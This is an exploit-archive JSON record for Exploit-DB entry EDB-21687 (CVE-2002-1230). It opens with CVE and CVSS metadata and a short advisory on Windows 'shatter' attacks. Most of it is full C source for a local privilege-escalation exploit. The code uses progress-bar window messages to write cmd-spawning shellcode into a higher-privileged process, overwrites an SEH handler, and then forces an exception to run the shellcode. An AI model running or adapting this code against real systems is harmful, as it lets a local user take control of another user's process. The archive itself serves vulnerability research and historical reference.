{"exploit":{"id":"EDB-21687","name":"Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (4)","description":"Microsoft Windows XP/2000/NT 4.0 - Window Message Subsystem Design Error (4)","cves":["CVE-2002-1230"],"author":"Brett Moore","published":"2002-08-06","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21687","path":"exploits/windows/local/21687.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21687.c","vulnerabilities":[{"id":"CVE-2002-1230","state":"PUBLISHED","title":null,"titleSource":null,"description":"NetDDE Agent on Windows NT 4.0, 4.0 Terminal Server Edition, Windows 2000, and Windows XP allows local users to execute arbitrary code as LocalSystem via \"shatter\" style attack by sending a WM_COPYDATA message followed by a WM_TIMER message, as demonstrated by GetAd, aka \"Flaw in Windows WM_TIMER Message Handling Could Enable Privilege Elevation.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-1230","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-1230"},"updatedAt":"2024-08-08T03:19:28.487Z","retrievedAt":"2026-11-27T10:56:08.691Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21687.png?v=2","url":"https://exploitbin.com/exploits/EDB-21687","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21687/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21687/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/5408/info\n\nA serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.\n\n** Microsoft has released a statement regarding this issue. Please see the References section for details.\n\nA paper, entitled \"Win32 Message Vulnerabilities Redux\" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.\n\nAnother proof-of-concept has been released by Brett Moore in a paper entitled \"Shattering SEH III\". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.\n\nBrett Moore has released a paper entitled \"Shattering By Example\" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.\n\n/***************************************************************************\n* Progress Control Shatter exploit\n*\n* Demonstrates the use of Progress Control messages to;\n* - inject shellcode to known location\n* - overwrite 4 bytes of a critical memory address\n*\n* 3 Variables need to be set for proper execution.\n* - tWindow is the title of the programs main window\n* - sehHandler is the critical address to overwrite\n* - shellcodeaddr is the data space to inject the code\n*\n* Local shellcode loads relevant addresses\n* Try it out against any program with a progress bar\n*\n* Based on (and pretty much identical to)\n*\tmcafee-shatterseh2.c by\n*   Oliver Lavery <oliver.lavery at sympatico.ca>\n****************************************************************************\n/\n#include <windows.h>\n#include <commctrl.h>\n#include <stdio.h>\n// Local Cmd Shellcode.\nBYTE exploit[] =\n\"\\x90\\x68\\x74\\x76\\x73\\x6D\\x68\\x63\\x72\\x00\\x00\\x54\\xB9\\x61\\xD9\\xE7\\x77\\xFF\\xD\n1\\x68\\x63\\x6D\\x64\\x00\\x54\\xB9\\x44\\x80\\xC2\\x77\\xFF\\xD1\\xCC\";\nchar g_classNameBuf[ 256 ];\nchar tWindow[]=\"Checking Disk C:\\\\\";// The name of the main window\nlong sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite\nlong shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space\nvoid doWrite(HWND hWnd, long tByte,long address);\nvoid IterateWindows(long hWnd);\nint main(int argc, char *argv[])\n{\n   long hWnd;\n   HMODULE hMod;\n   DWORD ProcAddr;\n   printf(\"%% Playing with progress bar messages\\n\");\n   printf(\"%% brett.moore@security-assessment.com\\n\\n\");\n   // Find local procedure address\n   hMod = LoadLibrary(\"kernel32.dll\");\n   ProcAddr = (DWORD)GetProcAddress(hMod, \"LoadLibraryA\");\n   if(ProcAddr != 0)\n      // And put it in our shellcode\n      *(long *)&exploit[13] = ProcAddr;\n   hMod = LoadLibrary(\"msvcrt.dll\");\n   ProcAddr = (DWORD)GetProcAddress(hMod, \"system\");\n   if(ProcAddr != 0)\n      // And put it in our shellcode\n      *(long *)&exploit[26] = ProcAddr;\n\n   printf(\"+ Finding %s Window...\\n\",tWindow);\n   hWnd = (long)FindWindow(NULL,tWindow);\n   if(hWnd == NULL)\n   {\n      printf(\"+ Couldn't Find %s Window\\n\",tWindow);\n      return 0;\n   }\n   printf(\"+ Found Main Window At...0x%xh\\n\",hWnd);\n   IterateWindows(hWnd);\n   printf(\"+ Done...\\n\");\n   return 0;\n}\nvoid doWrite(HWND hWnd, long tByte,long address)\n{\n   SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));\n   SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);\n}\nvoid IterateWindows(long hWnd)\n{\n   long childhWnd,looper;\n   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);\n   while (childhWnd != NULL)\n   {\n      IterateWindows(childhWnd);\n      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);\n   }\n   GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );\n   if ( strcmp(g_classNameBuf, \"msctls_progress32\") ==0)\n   {\n\t  // Inject shellcode to known address\n\t  printf(\"+ Sending shellcode to...0x%xh\\n\",shellcodeaddr);\n\t  for (looper=0;looper<sizeof(exploit);looper++)\n\t\t doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));\n\t  // Overwrite SEH\n\t  printf(\"+ Overwriting Top SEH....0x%xh\\n\",sehHandler);\n\t  doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);\n\t  doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);\n\t  doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);\n\t  doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);\n\t  // Cause exception\n\t  printf(\"+ Forcing Unhandled Exception\\n\");\n\t  SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);\n\t  printf(\"+ Done...\\n\");\n\t  exit(0);\n\t}\n}","sha256":"9045aa7e09eab14b2c14a0a3ac512381f75566efb05ff2007e5cffd3d665fa04","bytes":5117,"fetchedAt":"2026-11-27T14:07:11.960Z","encoding":"utf-8 (display only; download retains original bytes)"}